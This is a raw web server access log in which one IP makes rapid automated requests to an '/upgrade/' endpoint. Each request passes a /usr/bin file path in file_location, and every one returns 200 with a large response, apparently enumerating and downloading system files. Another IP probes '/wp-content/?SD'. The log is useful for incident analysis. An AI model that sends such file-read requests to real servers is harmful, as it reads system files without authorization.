45.135.193.11 - - [11/Sep/2026:22:45:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsensors-conf-convert&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99769 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsensors-conf-convert&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_rmsn&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100939 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_rmsn&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpupower&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 127725 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpupower&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fima-add-sigs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97667 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fima-add-sigs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsattr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100849 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsattr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-admin&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1001796 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-admin&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkg-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95878 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkg-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstunnel&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 200240 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstunnel&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftapestat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105734 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftapestat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwmf2svg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102411 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwmf2svg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Far&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 119539 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Far&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbus-update-activation-environment&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100836 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbus-update-activation-environment&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fed&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 121341 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fed&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-error&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108906 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-error&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgvpack&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 307716 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgvpack&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmemtester&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105689 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmemtester&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2pdfwr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96152 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2pdfwr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwpexec&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102290 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwpexec&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:58 -0400] "GET /upgrade/?location=%2Fusr%2Fbin%2F&option=folder HTTP/1.1" 200 95828 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fbin%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcmp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113079 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcmp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-card&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 178936 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-card&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzdiff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98276 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzdiff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fas&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 328597 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fas&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbluetoothctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 347900 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbluetoothctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcomm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110720 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcomm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffreetype-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97479 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffreetype-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgv2gxl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113039 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgv2gxl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgxl2dot&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113084 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgxl2dot&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnmtui-connect&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 377018 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnmtui-connect&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frescan-scsi-bus.sh&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109921 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frescan-scsi-bus.sh&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fclockdiff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102812 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fclockdiff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-convert-table-format&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97909 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-convert-table-format&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_reassign&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102605 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_reassign&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fshred&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 118402 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fshred&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.134.100.175 - - [11/Sep/2026:22:46:05 -0400] "GET /wp-content/?SD HTTP/1.1" 200 756 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
45.135.193.11 - - [11/Sep/2026:22:46:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-socket-activate&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105761 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-socket-activate&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Futmpdump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104006 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Futmpdump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzcmp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96703 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzcmp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhttxt2dbm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101635 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhttxt2dbm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmpstat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 116793 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmpstat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwhatis&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114151 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwhatis&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautoscan&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102914 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautoscan&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdate&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 143120 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdate&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbus-send&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106247 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbus-send&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibnetcfg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101623 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibnetcfg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpathchk&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108492 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpathchk&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpython3-html2text&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96297 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpython3-html2text&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetpriv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110174 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetpriv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftput&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103894 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftput&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzless&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96205 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzless&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-import&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 996912 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-import&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpackage-cleanup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97678 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpackage-cleanup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha1hmac&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108328 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha1hmac&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-match&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100875 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-match&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffile&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106130 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffile&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-db-export&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105257 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-db-export&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdelv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113570 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdelv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgalera_new_cluster&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96519 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgalera_new_cluster&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdk-pixbuf-thumbnailer&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101078 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdk-pixbuf-thumbnailer&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpwd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109161 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpwd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faria_ftdump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1256546 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faria_ftdump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faudit2allow&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100494 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faudit2allow&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
